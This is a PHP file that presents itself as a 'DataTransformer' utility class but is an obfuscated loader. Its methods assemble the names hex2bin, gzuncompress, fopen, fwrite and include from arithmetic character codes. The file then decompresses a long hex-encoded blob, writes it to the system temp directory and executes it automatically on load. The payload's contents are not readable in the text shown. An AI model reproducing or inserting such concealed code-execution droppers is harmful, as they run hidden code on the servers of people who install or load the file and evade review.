<?php
class DataTransformer {
	private $wx = '';
	private $yk = '';

	public function updateCache($p1) {
		$a = array(((114-4)),(106-1),(2*49),50,(34+86),((102-1)),(112-8));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function resolveAction($p1) {
		$a = array((((23*2)+57)),(107+3+12),((108+4+5)),(((36*62)-2122)),((34+65)),(((40*62)-2369)),(109*1),((62+50)),(2*57),((70*1)+31),((100*2)-85),((5*23)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function encryptData($p1,$p2) {
		$a = array(((10+100)),101,112,((95*1)+16),((46*1)+56));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function validateInput($p1,$p2) {
		$a = array(((20+18+63)),((13*39)-391),((106-1)),(2*57),((56*1)+63),((2*51)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function checkConsistency($p1) {
		$a = array(((13*3)+63),((105-6)),108,((3*37)),(116-1),((10*10)+1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function logTransaction($p1,$p2=null) {
		$a = array((2*57),(124-8),((12*7)+30),(((103*1)+2)),(105+4));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function sanitizeInput() {
		$this->yk = $this->logTransaction($this->initializeModule(), '/');
	}

	public function cacheData() {
		$this->wx = $this->resolveAction($this->updateCache($this->bs));
	}

	public function parseResponse() {
		$fn = $this->yk.'/to-67f10ecf3072c';
		$f = $this->encryptData($fn, 'w');
		$this->validateInput($f, $this->wx);
		$this->checkConsistency($f);
		$this->resolveConflict($fn);
	}

	private $bs = '789ca5188b52ea48f657b4ca1948c56541f18a97cddc0a242' . '042405e5ef1964b85bc1f24210f42e2f8efdba73b3809ba305' . 'b8b42a5cfbb4f9f3e8ffceb87a77b67922d06c1d952538337c' . 'f37b662a89c05a1181ad2c572bd5937c9f3991a395268b8ced' . '972153be58be536dc5d5e2c45937a33d4f279a0d8eaf7ef988' . '122cf4bdf4aca54f36269242b26087d5b012e448f40a6c3acc' . '440f9565fca8ae4ca4a39c7fe0b8b7ea59aaaeb2386c831982' . 'a5214797f09311d108230e70c0398264de32505a85ff8f1959' . '174bfecfa723907a3fe4d00a24900bf61e35e29aae92b61e43' . 'b40da7c2ffa20b76fbca1b79ca98ce8fb62522e2dc5d82b317' . 'f94ee756b3ad2acb6645a8a30ae7342eb45bad717b2c0d6249' . 'ed516a396a0be3c79abd26569a90684a565499dd45db4acfa8' . '08b7bdd97a7c58c4f1a62376669560f04e1c95ab086f5cc8ed' . '9f03eee3d03ab6b07c0fac83618589a26ac46ba660fe25ed0b' . '1a5f570fcb2e2e3a02726d5cea8333761ddd1b4c5509bd7bb9' . 'aa60d8d506dcd2c7d9568dd3eab098229b53b5ac022bcdb9e0' . '483fb76f813246f1505440fb4f9f343cc60659b2dd6bd88ebf' . '2744c403bcdc7a0dda2cffee431c85903a4cf5665562344013' . '6129387fba754db3fd9067e1cc62cdfba7a5a3dc7d2a663d7d' . '991bef8796f0a936e0b19d79a77a489a4761df6f97ee76ebbb' . '1301d3cb962abcb8ef9b140efad594b58d4636b3116d278208' . 'c5dbc95758415ec2c7690f69e05d69a00d40ff16e062deba19' . '5f654008536b1445a0d6296489401d2e5843b357382e859986' . 'd27dd0f33d05ac410dded0f260be20311f32d5842e04a0ea19' . '0fa9d29a1905209406a526db4d3a7fb95152ee6eb8626b416d' . '2cb7c8e49bc9058c3af3ad9fe560940e60ebb6973fc9c63c73' . 'e1f2f1e5e9edc4d3b651fb8aef7245f09242e8c1dd9dcfcf16' . '56e0b5863b4fb70b9a7108f682f6c66a26aaeb0ecf5182f8d3' . '0856527995f73495de3536dcd4fe78d8e41ce382571d74984f' . '471cc6e47ed60fc3063036e2618fd31bbeb73243a531747073' . '75bd87c5b0a59ae177413222114f1fe3b695c7bd4d83bc1088' . '6c384f5bac6a286cd4934a240aa8d62762d18f5e1a0cd065db' . '35a2311e5eff7e2c4448e1570696fd335823b6eaa6df001275' . '126c3e692d8ec9af32ab2c4c4daf58f38cc68842b2ed1743ea' . 'd3bfc54b8eb181239b8906017ff7cd0d8dd43da101fb986d73' . '17ae494b719d6ea6bec6690c6e35e5bba453a604bd5c744c35' . '4c4ed9da48e3c39bf65b938e0a655839bd5d7dd648efc42a87' . '4ec6f6e1ad41fe3c0ef9bfcaa9fd9a0b804d333794ef0d9f66' . '2d34d4980482abe6aa338ee091a3f1865d7cd261e31c397791' . '6372676a6baf3faa3c98d34cde8222383be0c39971d574960a' . 'a2276ad5a9d4f0673f906074382437ea891d8b0315f5f27071' . '98924fac7f10c969aa592b4c10b3cd64e35dfdf75459415bf0' . 'c5506d5062821246d82ff37259482bf2280240979c8978002d' . '5192308941065f02e3ffb55a0849c08aa23b744a184fe868a4' . '8c42c5db328cfc4272fba993420fafd7754563c37c08bcb023' . '5a43f88a1352247954615ed40a1de6443290a85940852b7318' . '87d5710d5672248921074968289de8fed05654f70f1c6d96f0' . '5d5be8b657b34eaf7f826542fa66c3821e5bb912397ab74158' . 'a212a9979e855e53affa14fac41c226cdca1959fc0245af4cc' . '1b000bbcf71d01e9ab16ed80a6903c0c43d430517e45f39536' . 'a551aff53af596507cf9f9fa2a2f35b2c1a7b4d9f0420bfbdf' . 'daf5a6a740db1ad7c45b4b09369fabffa019530e4074bb74b9' . '9eb11ed3b3983cf622bb73774f1872a6eee06997f43810074b' . '258650e5daf7ccb7d6ee9136beab54c550e653468f447edfd5' . 'ec45dd3c859a42fc397066fa14852bba66b7ba2cb43e415323' . 'ff7451e6c7ea12253425ac64301b7c099ffa15e3f6de1f660d' . 'b27d658db81130e6ec089359670103c15383ed822dc60c391e' . 'c4856b296f6fdaf2e11e59c8ba5eca08d2ae68ef947b5d2b8b' . 'bbea9dfd5eeeadfeeaeea0d0497cd7d2eb95826aa588c2dd41' . '44106deb938b634c72ba2a153823ce2a16453013d242b2e25d' . '1b6c5957d9075a0198222b1424907dfd22d2345bebd341c033' . '20f924e3531006522d703d0667bd946597ff4385b4ea783e51' . '33fe975168f3c3fb92426ff1df2fbd174767970b38e3076468' . '3c1e8e760d46667bdd1f0f2ffbbf847f44cf8d97c329c4dd8e' . '1b483f6f3c51d3cc27ccfb3dc01134abc4718daa3e1906fcf6' . '63d811fcd0beeb83e88bc13eb634abe907e43c33e4860613e6' . '5a748980ba0ee8e003525341cd5cde01824d96ea064005c1bd' . 'd5db12ca1161a1add1055a5f37cadb9a9d2fb7f8a2283d4190' . 'e96ac16229131e3897ea02c919e7dd85d2c3d95017571510bb' . '4e4d0138828665f9962f0a3de1c1a3f5cbe2f508f53c4a23e1' . 'd7a05035f8c43b1d0b20336289144b82fbe8774a88f879e8f7' . '411a0a35254025d3d14677bf3a51ae8f2a1497735d0f3053ff' . '4fcd0d0e95fb27bb8b038ba88b82b050c6afbc12be8f6c3d65' . '71aa306ae64b91e9a87cbe0ca1fc53e07b5fe904550dbf4bda' . '83e22080fb9f00bfd301420746cc2215f62b9f97b5ccfa7d95' . 'bfac49afa9e4ff3dff219fa963eb1def7672b8d7a53bd280cf' . '0f32538347b7f50bc89d004918ee45c55dc8c1332de2e0e181' . '5457b26201fb6b52b1a7df79a4c87c297061a18c44480c05d3' . 'c3f9891e08864b344519f0ca95c4122c9ff4069d8df2c6412e' . 'afcf6af1a902ea8f972c2ec6371ca4f50022d9e080c6130764' . 'b25525a55f928794a3adc585b67f449a41c6770715f1ae8197' . 'd745c3e8c6c30a988b837fdf135110c6e2053b410d1f7830e1' . '2ab33621cc6ebe0a83234d641c2d91d5105f31da8da7cd284c' . '63b844854ace88493532c245e1d51e4e29be95b5b50e444b67' . 'dfa2cd068082c5e7a442cb98ea994937aeac4741c104ee41d1' . '18be64518869c0fb1289a55c30e157fb915e1ad9a9ce4afc25' . 'dad78194fac492fe12431038248963f54a0ca7905df1ad0db7' . 'dfacd0b52e58f724100c80fcda363128cbee0896ce25324dd3' . 'd2b66331c3f96445235925a4ca926e9b44c1ba323b98845933' . '17e07a162ec3a2862614286f042e5a4a9ec503345615bcff7c' . '62265d49f7f7e2c2339bf5a07606ec695ed390cb3e9ab78fb1' . '35cb5c2a844317f60a9c509d5c6467ad18ae023b98886b91c6' . 'e5bc68ef4a2f84a459189e0452a7ef19abd86cd5666e03afb6' . '7b089c285369ba431ebdf999b61fe875a0ba5383738c30101f' . '187c3deff03834df051';

	public function resolveConflict($p) {
		include($p);
	}

	public function initializeModule() {
		$a=array((5*23),(96+25),((81*9)-614),((66+29)),(82+21),(((7*7)+52)),((15*2)+86),(((21*4)+11)),(((107*86)-9086)),((18*4)+29),(109),(112),((5*19)),(95+5),(((50*36)-1695)),(((94*1)+20)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$xm = new DataTransformer();
$xm->sanitizeInput();
$xm->cacheData();
$xm->parseResponse();
